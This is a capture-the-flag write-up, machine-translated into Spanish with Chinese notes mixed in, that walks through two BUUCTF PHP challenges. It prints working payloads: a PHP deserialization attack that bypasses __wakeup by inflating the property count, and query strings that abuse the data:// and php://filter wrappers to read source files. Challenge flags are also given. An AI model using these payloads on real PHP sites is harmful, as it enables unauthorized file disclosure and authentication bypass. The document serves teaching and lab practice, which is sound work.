BUUCTF-[Reto Geek 2019]PHP

[Reto Geek 2019] PHP

tema

imagen-20230628161508422

respuesta

Ingrese al entorno de rango

imagen-20230628161653597

De acuerdo con el aviso que me dio el título, hay una copia de seguridad de este sitio web, intente explotar el directorio del sitio web

Herramienta: mapa de direcciones

imagen-20230628161815996

El archivo de respaldo del sitio web fue descubierto por voladura, después de visitarlo, descargarlo al local y observar su contenido.

imagen-20230628161900037

Encontramos flag.php, lo abrimos para verlo y descubrimos que no era lo que queríamos, y continuamos viendo otros archivos de código fuente

imagen-20230628162013195

Encontré algunos trucos en el código fuente de index.php y class.php

encontrado en index.php:

La obtención del parámetro de selección se pasa a través del método get y la deserialización del valor del parámetro de selección obtenido

imagen-20230628162428650

En clase.php:

Se definen dos variables nombre de usuario y contraseña

privado (privado) : solo se puede acceder a los miembros de la clase privada desde la clase en la que están definidos

imagen-20230628162600896

código fuente:

<?php
include 'flag.php';


error_reporting(0);


class Name{
    
    
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
    
    
        $this->username = 'guest';
    }

    function __destruct(){
    
    
        if ($this->password != 100) {
    
    
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
    
    
            global $flag;
            echo $flag;
        }else{
    
    
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

Si encuentra varias funciones de serialización como la función __construct, la función __wakeup(), la función __destruct(), etc., entonces debe haber una deserialización. A través del código anterior, se encuentra que select pasa parámetros a través de get en index.php

补充:
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发 //反序列化
__sleep() 使用serialize时触发	//序列号
__destruction():结束时销毁对象,当一个对象销毁时被调用

A su vez, observe el código de class.php, principalmente para verificar dos condiciones, nombre de usuario y contraseña, el nombre de usuario es admin, la contraseña es 100

A continuación, haga el número de serie, cree una instancia de la clase y serialice para obtener la cadena

Carga útil de construcción:

imagen-20230628173817620

código:

<?php
class Name{
    
    
    private $username = 'admin';
    private $password = '100';
}
$name = new Name;
print(serialize($name));
//echo 输出也可以
//echo serialize($name)
?>

resultado de la operación:

imagen-20230628173804982

Reemplace el cuadro con %00, la URL del cuadro no se puede reconocer, si no está escrita, la longitud se reducirá y no se podrá lograr el propósito;

O:4:"Name":2:{
    
    s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

Pero hay otra función, __wakeup() reasignará el nombre de usuario a "invitado", por lo que debe encontrar una manera de omitir la función __wakeup()

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:"Name":2:{
    
    s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{
    
    s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

Ahora mismo

绕过:
O:4:"Name":3:{
    
    s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
payload:
index.php?select=O:4:"Name":3:{
    
    s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

imagen-20230628193808329

Obtuvo con éxito la bandera

La bandera de esta pregunta es:

bandera{b18bb0c2-8084-4e65-a402-f1803a87f80d}

[ZJCTF 2019] NiZhuanSiWei

tema

imagen-20230628205551951

respuesta

entorno de campo abierto

imagen-20230628205730056

Se encuentra que es el código fuente de la página web. Después del análisis, los tres parámetros son texto, archivo y contraseña, que se pasan a través del método get. En la declaración de control if, establezca la variable de texto y lea los datos en el archivo Debe ser igual a bienvenido al zjctf devolverá verdadero

A continuación, debe usar los datos del pseudoprotocolo php incluidos en el archivo para construir la carga útil

payload:
?text=data://text/plain,welcome to the zjctf

imagen-20230628210712158

A través de la segunda declaración de control if, encontramos que el indicador se filtra a través de la expresión regular. Cuando se pasa el parámetro de archivo, si hay un indicador, se filtrará. Luego usaremos la siguiente oración, el archivo contiene, tratamos de obtener el código fuente de useless.php, ver qué información es y construir la carga útil nuevamente

El pseudo-protocolo php php://filter incluido en el archivo se usa nuevamente para obtener información del código fuente

payload:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

imagen-20230628212557348

Después de que la adquisición sea exitosa, se codifica en base64 y lo decodificaremos a continuación.

Después de decodificar, obtenga el código

imagen-20230628212657275

 <?php

class Flag{
    
      //flag.php
    public $file;
    public function __tostring(){
    
    
        if(isset($this->file)){
    
    
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
?>

Descubrimos que el parámetro de contraseña se deserializó en el código fuente inicial, por lo que serializamos el código descifrado que acabamos de obtener, lo asignamos al parámetro de contraseña y lo deserializamos

unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

imagen-20230628212832060

Procesamiento de serialización:

<?php

class Flag{
    
      //flag.php
    public $file="flag.php";		//需要将flag.php文件赋值给$file
    public function __tostring(){
    
    
        if(isset($this->file)){
    
    
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$passwd = new Flag;
echo serialize($passwd);

?>

La salida es:

O:4:"Flag":1:{
    
    s:4:"file";s:8:"flag.php";}

imagen-20230628213048660

Vuelva a construir la carga útil:

password参数进行反序列化处理
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

Una vez completada la ejecución, vea la interfaz:

imagen-20230628213230224

Ver el código fuente de la página web:

imagen-20230628213249358

Información de la bandera obtenida con éxito

La bandera de esta pregunta es:

flag{1b3bf4a9-e129-4477-9e99-e9bc49c2d3c3}

Resumir:

第一:我们拿到靶场环境后,观察源代码,发现需要我们传递的参数,并且是get方式进行传递,所以可以直接在url当中操作(HackBar),根据代码分析,需要用到文件包含伪协议data://,进行获取数据,然后通过函数读取里面的字符串进行匹配是否相等
第二:根据if控制语句当中的函数发现flag被正则过滤掉,所以无法查找flag文件,这时候我们需要根据源码当中的提示进行访问读取useless.php 源码信息,这里又一次需要用到文件包含伪协议php://filter来读取源码,读取的字符串格式为base64编码,得到的字符串通过base64进行解密,得到代码。
通过观察源码当中的password参数,发现存在反序列化处理。将解密得到的源码,进行反序列化处理。从而得到password
注:unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
第三:构造payload,拿到flag

Si el artículo es inapropiado, ¡las críticas y correcciones son bienvenidas!

Supongo que te gusta

Origin blog.csdn.net/rumil/article/details/131450999
Recomendado
Clasificación